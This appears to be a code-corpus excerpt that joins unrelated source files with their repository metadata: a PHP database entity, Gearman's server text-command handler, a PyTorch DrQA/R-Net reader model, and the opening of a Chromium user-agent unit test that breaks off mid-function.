<?php /** * Objeto referente a la tabla de base de datos 'idioma_cargo'. * * @author Emanuel Carrasco * @copyright * @license */ namespace Application\Model\Entity; /** * Define el objeto IdiomaCargo y el intercambio de información con el hydrator. */ class IdiomaCargo { private $idi_id; private $car_id; private $idi_car_habla; private $idi_car_escribe; private $idi_car_lee; function __construct() {} /** * * @return the $idi_id */ public function getIdi_id() { return $this->idi_id; } /** * * @return the $car_id */ public function getCar_id() { return $this->car_id; } /** * * @return the $idi_car_habla */ public function getIdi_car_habla() { return $this->idi_car_habla; } /** * * @return the $idi_car_escribe */ public function getIdi_car_escribe() { return $this->idi_car_escribe; } /** * * @return the $idi_car_lee */ public function getIdi_car_lee() { return $this->idi_car_lee; } /** * * @param * Ambigous <NULL, array> $idi_id */ public function setIdi_id($idi_id) { $this->idi_id = $idi_id; } /** * * @param * Ambigous <NULL, array> $car_id */ public function setCar_id($car_id) { $this->car_id = $car_id; } /** * * @param * Ambigous <NULL, array> $idi_car_habla */ public function setIdi_car_habla($idi_car_habla) { $this->idi_car_habla = $idi_car_habla; } /** * * @param * Ambigous <NULL, array> $idi_car_escribe */ public function setIdi_car_escribe($idi_car_escribe) { $this->idi_car_escribe = $idi_car_escribe; } /** * * @param * Ambigous <NULL, array> $idi_car_lee */ public function setIdi_car_lee($idi_car_lee) { $this->idi_car_lee = $idi_car_lee; } /** * Registra los atributos de clase mediante post o base de datos. * * @param array $data * @return void */ public function exchangeArray($data) { $this->idi_id = (isset($data['idi_id'])) ? $data['idi_id'] : null; $this->car_id = (isset($data['car_id'])) ? $data['car_id'] : null; $this->idi_car_habla = (isset($data['idi_car_habla'])) ? $data['idi_car_habla'] : null; $this->idi_car_escribe = (isset($data['idi_car_escribe'])) ? $data['idi_car_escribe'] : null; $this->idi_car_lee = (isset($data['idi_car_lee'])) ? $data['idi_car_lee'] : null; } /** * Obtiene los valores de los atributos de clase para poblar el hydrator. * * @return array */ public function getArrayCopy() { return get_object_vars($this); } }
manucv/GestionProcesos
module/Application/src/Application/Model/Entity/IdiomaCargo.php
PHP
bsd-3-clause
2,952
/* vim:expandtab:shiftwidth=2:tabstop=2:smarttab: * * Gearmand client and server library. * * Copyright (C) 2012-2013 Data Differential, http://datadifferential.com/ All * rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * * The names of its contributors may not be used to endorse or * promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include "gear_config.h" #include "libgearman-server/common.h" #include "libgearman-server/log.h" #include "libgearman/vector.hpp" #include <cassert> #include <cerrno> #include <cstring> #define TEXT_SUCCESS "OK\r\n" #define TEXT_ERROR_ARGS "ERR INVALID_ARGUMENTS An+incomplete+set+of+arguments+was+sent+to+this+command+%.*s\r\n" #define TEXT_ERROR_CREATE_FUNCTION "ERR CREATE_FUNCTION %.*s\r\n" #define TEXT_ERROR_UNKNOWN_COMMAND "ERR UNKNOWN_COMMAND Unknown+server+command%.*s\r\n" #define TEXT_ERROR_INTERNAL_ERROR "ERR UNKNOWN_ERROR\r\n" gearmand_error_t server_run_text(gearman_server_con_st *server_con, gearmand_packet_st *packet) { gearman_vector_st data(GEARMAN_TEXT_RESPONSE_SIZE); if (packet->argc) { gearmand_log_debug(GEARMAN_DEFAULT_LOG_PARAM, "text command %.*s", packet->arg_size[0], packet->arg[0]); } if (packet->argc == 0) { data.vec_printf(TEXT_ERROR_UNKNOWN_COMMAND, 4, "NULL"); } else if (strcasecmp("workers", (char *)(packet->arg[0])) == 0) { for (gearman_server_thread_st *thread= Server->thread_list; thread != NULL; thread= thread->next) { int error; if ((error= pthread_mutex_lock(&thread->lock)) == 0) { for (gearman_server_con_st *con= thread->con_list; con != NULL; con= con->next) { if (con->_host == NULL) { continue; } data.vec_append_printf("%d %s %s :", con->con.fd, con->_host, con->id); for (gearman_server_worker_st *worker= con->worker_list; worker != NULL; worker= worker->con_next) { data.vec_append_printf(" %.*s", (int)(worker->function->function_name_size), worker->function->function_name); } data.vec_append_printf("\n"); } if ((error= (pthread_mutex_unlock(&(thread->lock)))) != 0) { gearmand_log_fatal_perror(GEARMAN_DEFAULT_LOG_PARAM, error, "pthread_mutex_unlock"); } } else { gearmand_log_fatal_perror(GEARMAN_DEFAULT_LOG_PARAM, error, "pthread_mutex_lock"); } } data.vec_append_printf(".\n"); } else if (strcasecmp("status", (char *)(packet->arg[0])) == 0) { for (uint32_t function_key= 0; function_key < GEARMAND_DEFAULT_HASH_SIZE; function_key++) { for (gearman_server_function_st *function= Server->function_hash[function_key]; function != NULL; function= function->next) { data.vec_append_printf("%.*s\t%u\t%u\t%u\n", int(function->function_name_size), function->function_name, function->job_total, function->job_running, function->worker_count); } } data.vec_append_printf(".\n"); } else if (strcasecmp("create", (char *)(packet->arg[0])) == 0) { if (packet->argc == 3 and strcasecmp("function", (char *)(packet->arg[1])) == 0) { gearman_server_function_st* function= gearman_server_function_get(Server, (char *)(packet->arg[2]), packet->arg_size[2] -2); if (function) { data.vec_printf(TEXT_SUCCESS); } else { data.vec_printf(TEXT_ERROR_CREATE_FUNCTION, (int)packet->arg_size[2], (char *)(packet->arg[2])); } } else { // create data.vec_printf(TEXT_ERROR_ARGS, (int)packet->arg_size[0], (char *)(packet->arg[0])); } } else if (strcasecmp("drop", (char *)(packet->arg[0])) == 0) { if (packet->argc == 3 and strcasecmp("function", (char *)(packet->arg[1])) == 0) { bool success= false; for (uint32_t function_key= 0; function_key < GEARMAND_DEFAULT_HASH_SIZE; function_key++) { for (gearman_server_function_st *function= Server->function_hash[function_key]; function != NULL; function= function->next) { if (strcasecmp(function->function_name, (char *)(packet->arg[2])) == 0) { success= true; if (function->worker_count == 0 && function->job_running == 0) { gearman_server_function_free(Server, function); data.vec_append_printf(TEXT_SUCCESS); } else { data.vec_append_printf("ERR there are still connected workers or executing clients\r\n"); } break; } } } if (success == false) { data.vec_printf("ERR function not found\r\n"); gearmand_log_debug(GEARMAN_DEFAULT_LOG_PARAM, "%s", data.value()); } } else { // drop data.vec_printf(TEXT_ERROR_ARGS, (int)packet->arg_size[0], (char *)(packet->arg[0])); } } else if (strcasecmp("maxqueue", (char *)(packet->arg[0])) == 0) { if (packet->argc == 1) { data.vec_append_printf(TEXT_ERROR_ARGS, (int)packet->arg_size[0], (char *)(packet->arg[0])); } else { uint32_t max_queue_size[GEARMAN_JOB_PRIORITY_MAX]; for (int priority= 0; priority < GEARMAN_JOB_PRIORITY_MAX; ++priority) { const int argc= priority +2; if (packet->argc > argc) { const int parameter= atoi((char *)(packet->arg[argc])); if (parameter < 0) { max_queue_size[priority]= 0; } else { max_queue_size[priority]= (uint32_t)parameter; } } else { max_queue_size[priority]= GEARMAN_DEFAULT_MAX_QUEUE_SIZE; } } /* To preserve the existing behavior of maxqueue, ensure that the one-parameter invocation is applied to all priorities. */ if (packet->argc <= 3) { for (int priority= 1; priority < GEARMAN_JOB_PRIORITY_MAX; ++priority) { max_queue_size[priority]= max_queue_size[0]; } } for (uint32_t function_key= 0; function_key < GEARMAND_DEFAULT_HASH_SIZE; function_key++) { for (gearman_server_function_st *function= Server->function_hash[function_key]; function != NULL; function= function->next) { if (strlen((char *)(packet->arg[1])) == function->function_name_size && (memcmp(packet->arg[1], function->function_name, function->function_name_size) == 0)) { gearmand_log_debug(GEARMAN_DEFAULT_LOG_PARAM, "Applying queue limits to %s", function->function_name); memcpy(function->max_queue_size, max_queue_size, sizeof(uint32_t) * GEARMAN_JOB_PRIORITY_MAX); } } } data.vec_append_printf(TEXT_SUCCESS); } } else if (strcasecmp("getpid", (char *)(packet->arg[0])) == 0) { data.vec_printf("OK %d\n", (int)getpid()); } else if (strcasecmp("shutdown", (char *)(packet->arg[0])) == 0) { if (packet->argc == 1) { Server->shutdown= true; data.vec_printf(TEXT_SUCCESS); } else if (packet->argc == 2 && strcasecmp("graceful", (char *)(packet->arg[1])) == 0) { Server->shutdown_graceful= true; data.vec_printf(TEXT_SUCCESS); } else { // shutdown data.vec_printf(TEXT_ERROR_ARGS, (int)packet->arg_size[0], (char *)(packet->arg[0])); } } else if (strcasecmp("verbose", (char *)(packet->arg[0])) == 0) { data.vec_printf("OK %s\n", gearmand_verbose_name(Gearmand()->verbose)); } else if (strcasecmp("version", (char *)(packet->arg[0])) == 0) { data.vec_printf("OK %s\n", PACKAGE_VERSION); } else { gearmand_log_debug(GEARMAN_DEFAULT_LOG_PARAM, "Failed to find command %.*s(%" PRIu64 ")", packet->arg_size[0], packet->arg[0], packet->arg_size[0]); data.vec_printf(TEXT_ERROR_UNKNOWN_COMMAND, (int)packet->arg_size[0], (char *)(packet->arg[0])); } gearman_server_packet_st *server_packet= gearman_server_packet_create(server_con->thread, false); if (server_packet == NULL) { return gearmand_gerror("calling gearman_server_packet_create()", GEARMAN_MEMORY_ALLOCATION_FAILURE); } server_packet->packet.reset(GEARMAN_MAGIC_TEXT, GEARMAN_COMMAND_TEXT); server_packet->packet.options.complete= true; server_packet->packet.options.free_data= true; if (data.size() == 0) { data.vec_append_printf(TEXT_ERROR_INTERNAL_ERROR); } gearman_string_t taken= data.take(); server_packet->packet.data= gearman_c_str(taken); server_packet->packet.data_size= gearman_size(taken); int error; if ((error= pthread_mutex_lock(&server_con->thread->lock)) == 0) { GEARMAN_FIFO__ADD(server_con->io_packet, server_packet); if ((error= pthread_mutex_unlock(&(server_con->thread->lock)))) { gearmand_log_fatal_perror(GEARMAN_DEFAULT_LOG_PARAM, error, "pthread_mutex_unlock"); } } else { gearmand_log_fatal_perror(GEARMAN_DEFAULT_LOG_PARAM, error, "pthread_mutex_lock"); } gearman_server_con_io_add(server_con); return GEARMAN_SUCCESS; }
ssm/pkg-gearmand
libgearman-server/text.cc
C++
bsd-3-clause
10,914
# Modified by CNSL # 1) including TDNN based char embedding # 06/02/17 # Copyright (c) 2017-present, Facebook, Inc. # All rights reserved. # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. An additional grant # of patent rights can be found in the PATENTS file in the same directory. import torch import torch.nn as nn from . import layers from .tdnn import TDNN from .highway import Highway import torch.nn.functional as F import pdb class RnnDocReader(nn.Module): """Network for the Document Reader module of DrQA.""" RNN_TYPES = {'lstm': nn.LSTM, 'gru': nn.GRU, 'rnn': nn.RNN} def __init__(self, opt, padding_idx=0, padding_idx_char=0): super(RnnDocReader, self).__init__() # Store config self.opt = opt #Cudnn #if not opt['use_cudnn']: # torch.backends.cudnn.enabled=False # Word embeddings (+1 for padding), usually initialized by GloVE self.embedding = nn.Embedding(opt['vocab_size'], opt['embedding_dim'], padding_idx=padding_idx) # Char embeddings (+1 for padding) #pdb.set_trace() if opt['add_char2word']: self.char_embedding = nn.Embedding(opt['vocab_size_char'], opt['embedding_dim_char'], padding_idx=padding_idx_char) self.char_embedding.weight = nn.Parameter(torch.Tensor(opt['vocab_size_char'],opt['embedding_dim_char']).uniform_(-1,1)) self.TDNN = TDNN(opt) if opt['nLayer_Highway'] > 0 : self.Highway = Highway(opt['embedding_dim'] + opt['embedding_dim_TDNN'], opt['nLayer_Highway'], F.relu) # ...(maybe) keep them fixed (word only) if opt['fix_embeddings']: for p in self.embedding.parameters(): p.requires_grad = False # Register a buffer to (maybe) fill later for keeping *some* fixed if opt['tune_partial'] > 0: buffer_size = torch.Size(( opt['vocab_size'] - opt['tune_partial'] - 2, opt['embedding_dim'] )) self.register_buffer('fixed_embedding', torch.Tensor(buffer_size)) # Projection for attention weighted question if opt['use_qemb']: if opt['add_char2word']: self.qemb_match = layers.SeqAttnMatch(opt['embedding_dim'] + opt['embedding_dim_TDNN']) else: self.qemb_match = layers.SeqAttnMatch(opt['embedding_dim']) # Input size to RNN: word emb + question emb + manual features if opt['add_char2word']: doc_input_size = opt['embedding_dim'] + opt['num_features'] + opt['embedding_dim_TDNN'] else: doc_input_size = opt['embedding_dim'] + opt['num_features'] if opt['use_qemb']: if opt['add_char2word']: doc_input_size += opt['embedding_dim'] + opt['embedding_dim_TDNN'] else: doc_input_size += opt['embedding_dim'] #pdb.set_trace() # RNN document encoder self.doc_rnn = layers.StackedBRNN( input_size=doc_input_size, hidden_size=opt['hidden_size'], num_layers=opt['doc_layers'], dropout_rate=opt['dropout_rnn'], dropout_output=opt['dropout_rnn_output'], concat_layers=opt['concat_rnn_layers'], rnn_type=self.RNN_TYPES[opt['rnn_type']], padding=opt['rnn_padding'], ) # RNN question encoder q_input_size = opt['embedding_dim'] if opt['add_char2word']: q_input_size += opt['embedding_dim_TDNN'] self.question_rnn = layers.StackedBRNN( input_size=q_input_size, hidden_size=opt['hidden_size'], num_layers=opt['question_layers'], dropout_rate=opt['dropout_rnn'], dropout_output=opt['dropout_rnn_output'], concat_layers=opt['concat_rnn_layers'], rnn_type=self.RNN_TYPES[opt['rnn_type']], padding=opt['rnn_padding'], ) # Output sizes of rnn encoders doc_hidden_size = 2 * opt['hidden_size'] question_hidden_size = 2 * opt['hidden_size'] if opt['concat_rnn_layers']: doc_hidden_size *= opt['doc_layers'] question_hidden_size *= opt['question_layers'] # Question merging if opt['question_merge'] not in ['avg', 'self_attn']: raise NotImplementedError('merge_mode = %s' % opt['merge_mode']) if opt['question_merge'] == 'self_attn': self.self_attn = layers.LinearSeqAttn(question_hidden_size) # Q-P matching opt['qp_rnn_size'] = doc_hidden_size + question_hidden_size if opt['qp_bottleneck']: opt['qp_rnn_size'] = opt['hidden_size_bottleneck'] self.qp_match = layers.GatedAttentionBilinearRNN( x_size = doc_hidden_size, y_size = question_hidden_size, hidden_size= opt['qp_rnn_size'], padding=opt['rnn_padding'], rnn_type=self.RNN_TYPES[opt['rnn_type']], birnn=opt['qp_birnn'], concat = opt['qp_concat'], gate=True ) qp_matched_size = opt['qp_rnn_size'] if opt['qp_birnn']: qp_matched_size = qp_matched_size * 2 if opt['qp_concat']: qp_matched_size = qp_matched_size + doc_hidden_size ## PP matching: #pdb.set_trace() opt['pp_rnn_size'] = qp_matched_size * 2 if opt['pp_bottleneck']: opt['pp_rnn_size'] = opt['hidden_size_bottleneck'] self.pp_match = layers.GatedAttentionBilinearRNN( x_size = qp_matched_size, y_size = qp_matched_size, hidden_size= opt['pp_rnn_size'], padding=opt['rnn_padding'], rnn_type=self.RNN_TYPES[opt['rnn_type']], birnn=opt['pp_birnn'], concat = opt['pp_concat'], gate=opt['pp_gate'], rnn=opt['pp_rnn'], identity = ['pp_identity'] ) pp_matched_size = opt['pp_rnn_size'] if opt['pp_birnn'] and opt['pp_rnn']: pp_matched_size = pp_matched_size * 2 if opt['pp_concat']: pp_matched_size = pp_matched_size + qp_matched_size # Bilinear attention for span start/end if opt['task_QA']: self.start_attn = layers.BilinearSeqAttn( pp_matched_size, question_hidden_size ) self.end_attn = layers.BilinearSeqAttn( pp_matched_size, question_hidden_size ) # Paragraph Hierarchical Encoder if opt['ans_sent_predict'] : self.meanpoolLayer = layers.Selective_Meanpool(doc_hidden_size) self.sentBRNN = layers.StackedBRNN( input_size=pp_matched_size, hidden_size=opt['hidden_size_sent'], num_layers=opt['nLayer_Sent'], concat_layers=False, rnn_type=self.RNN_TYPES[opt['rnn_type']], padding=opt['rnn_padding_sent'], ) self.sentseqAttn = layers.BilinearSeqAttn( opt['hidden_size_sent'], question_hidden_size, ) #def forward(self, x1, x1_f, x1_mask, x2, x2_mask, x1_c, x1_c_mask, x2_c, x2_c_mask): #def forward(self, x1, x1_f, x1_mask, x2, x2_mask, x1_c=None, x2_c=None): # for this version, we do not utilize mask for char def forward(self, x1, x1_f, x1_mask, x2, x2_mask, x1_c=None, x2_c=None, x1_sent_mask=None, word_boundary=None): # for this version, we do not utilize mask for char #pdb.set_trace() """Inputs: x1 = document word indices [batch * len_d] x1_f = document word features indices [batch * len_d * nfeat] x1_mask = document padding mask [batch * len_d] ==> x2 = question word indices [batch * len_q] x2_mask = question padding mask [batch * len_q] ==> x1_c = document char indices [batch * len_d * max_char_per_word] x1_c_mask = document char padding mask [batch * len_d * max_char_per_word] --> not implemented in this version x2_c = question char indices [batch * len_q * max_char_per_word] x2_c_mask = question char padding mask [batch * len_q * max_char_per_word] --> not implemented in this version """ # Embed both document and question batch_size = x1.size()[0] doc_len = x1.size()[1] ques_len = x2.size()[1] x1_emb = self.embedding(x1) # N x Td x D x2_emb = self.embedding(x2) # N x Tq x D if self.opt['add_char2word']: max_wordL_d = x1_c.size()[2] max_wordL_q = x2_c.size()[2] x1_c = x1_c.view(-1, max_wordL_d) x2_c = x2_c.view(-1, max_wordL_q) x1_c_emb = self.char_embedding(x1_c) x2_c_emb = self.char_embedding(x2_c) x1_c_emb = x1_c_emb.view(batch_size, doc_len, max_wordL_d, -1) x2_c_emb = x2_c_emb.view(batch_size, ques_len, max_wordL_q, -1) # Produce char-aware word embed x1_cw_emb = self.TDNN(x1_c_emb) # N x Td x sum(H) x2_cw_emb = self.TDNN(x2_c_emb) # N x Tq x sum(H) # Merge word + char x1_emb = torch.cat((x1_emb, x1_cw_emb), 2) x2_emb = torch.cat((x2_emb, x2_cw_emb), 2) ###x1_mask = torch.cat([x1_mask, x1_c_mask], 2) # For this version, we do not utilize char mask ###x2_mask = torch.cat([x2_mask, x2_c_mask], 2) # For this version, we do not utilize char mask # Highway network if self.opt['nLayer_Highway'] > 0: [batch_size, seq_len, embed_size] = x1_emb.size() x1_emb = self.Highway(x1_emb.view(-1, embed_size)) x1_emb = x1_emb.view(batch_size, -1, embed_size) [batch_size, seq_len, embed_size] = x2_emb.size() x2_emb = self.Highway(x2_emb.view(-1, embed_size)) x2_emb = x2_emb.view(batch_size, -1, embed_size) else: if (('x1_c' in locals()) and ('x2_c' in locals())): #pdb.set_trace() x1_sent_mask = x1_c word_boundary = x2_c # Dropout on embeddings if self.opt['dropout_emb'] > 0: x1_emb = nn.functional.dropout(x1_emb, p=self.opt['dropout_emb'], training=self.training) x2_emb = nn.functional.dropout(x2_emb, p=self.opt['dropout_emb'], training=self.training) # Add attention-weighted question representation #pdb.set_trace() if self.opt['use_qemb']: x2_weighted_emb = self.qemb_match(x1_emb, x2_emb, x2_mask) drnn_input = torch.cat([x1_emb, x2_weighted_emb, x1_f], 2) else: drnn_input = torch.cat([x1_emb, x1_f], 2) # Encode document with RNN doc_hiddens = self.doc_rnn(drnn_input, x1_mask) #pdb.set_trace() # Encode question with RNN question_hiddens = self.question_rnn(x2_emb, x2_mask) # QP matching qp_matched_doc = self.qp_match(doc_hiddens, x1_mask, question_hiddens, x2_mask) # PP matching if not qp_matched_doc.is_contiguous(): qp_matched_doc = qp_matched_doc.contiguous() pp_matched_doc = self.pp_match(qp_matched_doc, x1_mask, qp_matched_doc, x1_mask) #print(pp_matched_doc.size()) #pdb.set_trace() # Merge question hiddens if self.opt['question_merge'] == 'avg': q_merge_weights = layers.uniform_weights(question_hiddens, x2_mask) elif self.opt['question_merge'] == 'self_attn': q_merge_weights = self.self_attn(question_hiddens, x2_mask) question_hidden = layers.weighted_avg(question_hiddens, q_merge_weights) return_list = [] # Predict start and end positions if self.opt['task_QA']: start_scores = self.start_attn(pp_matched_doc, question_hidden, x1_mask) end_scores = self.end_attn(pp_matched_doc, question_hidden, x1_mask) return_list = return_list + [start_scores, end_scores] # Pooling , currently no multi-task learning if self.opt['ans_sent_predict']: sent_hiddens = self.meanpoolLayer(pp_matched_doc, word_boundary) if self.opt['nLayer_Sent'] > 0: sent_hiddens = self.sentBRNN(sent_hiddens, x1_sent_mask) sent_scores = self.sentseqAttn(sent_hiddens, question_hidden, x1_sent_mask) return_list = return_list + [sent_scores] return return_list
calee88/ParlAI
parlai/agents/drqa_msmarco/rnet.py
Python
bsd-3-clause
13,354
// Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/embedder_support/user_agent_utils.h" #include "base/command_line.h" #include "base/strings/strcat.h" #include "base/strings/string_number_conversions.h" #include "base/strings/string_split.h" #include "base/strings/string_util.h" #include "base/strings/stringprintf.h" #include "base/system/sys_info.h" #include "base/test/gtest_util.h" #include "base/test/scoped_command_line.h" #include "base/test/scoped_feature_list.h" #include "base/version.h" #include "build/build_config.h" #include "components/version_info/version_info.h" #include "content/public/common/content_features.h" #include "content/public/common/content_switches.h" #include "content/public/common/user_agent.h" #include "testing/gtest/include/gtest/gtest.h" #include "third_party/blink/public/common/features.h" #include "third_party/blink/public/common/user_agent/user_agent_brand_version_type.h" #include "third_party/blink/public/common/user_agent/user_agent_metadata.h" #include "third_party/re2/src/re2/re2.h" #if defined(USE_OZONE) #include <sys/utsname.h> #endif #if defined(OS_WIN) #include <windows.foundation.metadata.h> #include <wrl.h> #include "base/win/core_winrt_util.h" #include "base/win/hstring_reference.h" #include "base/win/scoped_hstring.h" #include "base/win/scoped_winrt_initializer.h" #include "base/win/windows_version.h" #endif // defined(OS_WIN) namespace embedder_support { namespace { // A regular expression that matches Chrome/{major_version}.{minor_version} in // the User-Agent string, where the first capture is the {major_version} and the // second capture is the {minor_version}. static constexpr char kChromeProductVersionRegex[] = "Chrome/([0-9]+)\\.([0-9]+\\.[0-9]+\\.[0-9]+)"; void CheckUserAgentStringOrdering(bool mobile_device) { std::vector<std::string> pieces; // Check if the pieces of the user agent string come in the correct order. std::string buffer = GetUserAgent(); pieces = base::SplitStringUsingSubstr( buffer, "Mozilla/5.0 (", base::TRIM_WHITESPACE, base::SPLIT_WANT_ALL); ASSERT_EQ(2u, pieces.size()); buffer = pieces[1]; EXPECT_EQ("", pieces[0]); pieces = base::SplitStringUsingSubstr( buffer, ") AppleWebKit/", base::TRIM_WHITESPACE, base::SPLIT_WANT_ALL); ASSERT_EQ(2u, pieces.size()); buffer = pieces[1]; std::string os_str = pieces[0]; pieces = base::SplitStringUsingSubstr(buffer, " (KHTML, like Gecko) ", base::TRIM_WHITESPACE, base::SPLIT_WANT_ALL); ASSERT_EQ(2u, pieces.size()); buffer = pieces[1]; std::string webkit_version_str = pieces[0]; pieces = base::SplitStringUsingSubstr( buffer, " Safari/", base::TRIM_WHITESPACE, base::SPLIT_WANT_ALL); ASSERT_EQ(2u, pieces.size()); std::string product_str = pieces[0]; std::string safari_version_str = pieces[1]; EXPECT_FALSE(os_str.empty()); pieces = base::SplitStringUsingSubstr(os_str, "; ", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); #if defined(OS_WIN) // Windows NT 10.0; Win64; x64 // Windows NT 10.0; WOW64 // Windows NT 10.0 std::string os_and_version = pieces[0]; for (unsigned int i = 1; i < pieces.size(); ++i) { bool equals = ((pieces[i] == "WOW64") || (pieces[i] == "Win64") || pieces[i] == "x64"); ASSERT_TRUE(equals); } pieces = base::SplitStringUsingSubstr(pieces[0], " ", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); ASSERT_EQ(3u, pieces.size()); ASSERT_EQ("Windows", pieces[0]); ASSERT_EQ("NT", pieces[1]); double version; ASSERT_TRUE(base::StringToDouble(pieces[2], &version)); ASSERT_LE(4.0, version); ASSERT_GT(11.0, version); #elif defined(OS_MAC) // Macintosh; Intel Mac OS X 10_15_4 ASSERT_EQ(2u, pieces.size()); ASSERT_EQ("Macintosh", pieces[0]); pieces = base::SplitStringUsingSubstr(pieces[1], " ", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); ASSERT_EQ(5u, pieces.size()); ASSERT_EQ("Intel", pieces[0]); ASSERT_EQ("Mac", pieces[1]); ASSERT_EQ("OS", pieces[2]); ASSERT_EQ("X", pieces[3]); pieces = base::SplitStringUsingSubstr(pieces[4], "_", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); { int major, minor, patch; base::SysInfo::OperatingSystemVersionNumbers(&major, &minor, &patch); // crbug.com/1175225 if (major > 10) major = 10; ASSERT_EQ(base::StringPrintf("%d", major), pieces[0]); } int value; ASSERT_TRUE(base::StringToInt(pieces[1], &value)); ASSERT_LE(0, value); ASSERT_TRUE(base::StringToInt(pieces[2], &value)); ASSERT_LE(0, value); #elif defined(USE_OZONE) // X11; Linux x86_64 // X11; CrOS armv7l 4537.56.0 struct utsname unixinfo; uname(&unixinfo); std::string machine = unixinfo.machine; if (strcmp(unixinfo.machine, "x86_64") == 0 && sizeof(void*) == sizeof(int32_t)) { machine = "i686 (x86_64)"; } ASSERT_EQ(2u, pieces.size()); ASSERT_EQ("X11", pieces[0]); pieces = base::SplitStringUsingSubstr(pieces[1], " ", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); #if defined(OS_CHROMEOS) // X11; CrOS armv7l 4537.56.0 // ^^ ASSERT_EQ(3u, pieces.size()); ASSERT_EQ("CrOS", pieces[0]); ASSERT_EQ(machine, pieces[1]); pieces = base::SplitStringUsingSubstr(pieces[2], ".", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); for (unsigned int i = 1; i < pieces.size(); ++i) { int value; ASSERT_TRUE(base::StringToInt(pieces[i], &value)); } #else // X11; Linux x86_64 // ^^ ASSERT_EQ(2u, pieces.size()); // This may not be Linux in all cases in the wild, but it is on the bots. ASSERT_EQ("Linux", pieces[0]); ASSERT_EQ(machine, pieces[1]); #endif #elif defined(OS_ANDROID) // Linux; Android 7.1.1; Samsung Chromebook 3 ASSERT_GE(3u, pieces.size()); ASSERT_EQ("Linux", pieces[0]); std::string model; if (pieces.size() > 2) model = pieces[2]; pieces = base::SplitStringUsingSubstr(pieces[1], " ", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); ASSERT_EQ(2u, pieces.size()); ASSERT_EQ("Android", pieces[0]); pieces = base::SplitStringUsingSubstr(pieces[1], ".", base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL); for (unsigned int i = 1; i < pieces.size(); ++i) { int value; ASSERT_TRUE(base::StringToInt(pieces[i], &value)); } if (!model.empty()) { if (base::SysInfo::GetAndroidBuildCodename() == "REL") ASSERT_EQ(base::SysInfo::HardwareModelName(), model); else ASSERT_EQ("", model); } #elif defined(OS_FUCHSIA) // X11; Fuchsia ASSERT_EQ(2u, pieces.size()); ASSERT_EQ("X11", pieces[0]); ASSERT_EQ("Fuchsia", pieces[1]); #endif // Check that the version numbers match. EXPECT_FALSE(webkit_version_str.empty()); EXPECT_FALSE(safari_version_str.empty()); EXPECT_EQ(webkit_version_str, safari_version_str); EXPECT_TRUE( base::StartsWith(product_str, "Chrome/", base::CompareCase::SENSITIVE)); if (mobile_device) { // "Mobile" gets tacked on to the end for mobile devices, like phones. EXPECT_TRUE( base::EndsWith(product_str, " Mobile", base::CompareCase::SENSITIVE)); } } #if defined(OS_WIN) bool ResolveCoreWinRT() { return base::win::ResolveCoreWinRTDelayload() && base::win::ScopedHString::ResolveCoreWinRTStringDelayload() && base::win::HStringReference::ResolveCoreWinRTStringDelayload(); } // On Windows, the client hint sec-ch-ua-platform-version should be // the highest supported version of the UniversalApiContract. void VerifyWinPlatformVersion(std::string version) { ASSERT_TRUE(ResolveCoreWinRT()); base::win::ScopedWinrtInitializer scoped_winrt_initializer; ASSERT_TRUE(scoped_winrt_initializer.Succeeded()); base::win::HStringReference api_info_class_name( RuntimeClass_Windows_Foundation_Metadata_ApiInformation); Microsoft::WRL::ComPtr< ABI::Windows::Foundation::Metadata::IApiInformationStatics> api; HRESULT result = base::win::RoGetActivationFactory(api_info_class_name.Get(), IID_PPV_ARGS(&api)); ASSERT_EQ(result, S_OK); base::win::HStringReference universal_contract_name( L"Windows.Foundation.UniversalApiContract"); std::vector<std::string> version_parts = base::SplitString( version, ".", base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY); EXPECT_EQ(version_parts[2], "0"); int major_version; base::StringToInt(version_parts[0], &major_version); // If this check fails, our highest known UniversalApiContract version // needs to be updated. EXPECT_LE(major_version, GetHighestKnownUniversalApiContractVersionForTesting()); int minor_version; base::StringToInt(version_parts[1], &minor_version); boolean is_supported = false; // Verify that the major and minor versions are supported. result = api->IsApiContractPresentByMajor(universal_contract_name.Get(), major_version, &is_supported); EXPECT_EQ(result, S_OK); EXPECT_TRUE(is_supported) << " expected major version " << major_version << " to be supported."; result = api->IsApiContractPresentByMajorAndMinor( universal_contract_name.Get(), major_version, minor_version, &is_supported); EXPECT_EQ(result, S_OK); EXPECT_TRUE(is_supported) << " expected major version " << major_version << " and minor version " << minor_version << " to be supported."; // Verify that the next highest value is not supported. result = api->IsApiContractPresentByMajorAndMinor( universal_contract_name.Get(), major_version, minor_version + 1, &is_supported); EXPECT_EQ(result, S_OK); EXPECT_FALSE(is_supported) << " expected minor version " << minor_version + 1 << " to not be supported with a major version of " << major_version << "."; result = 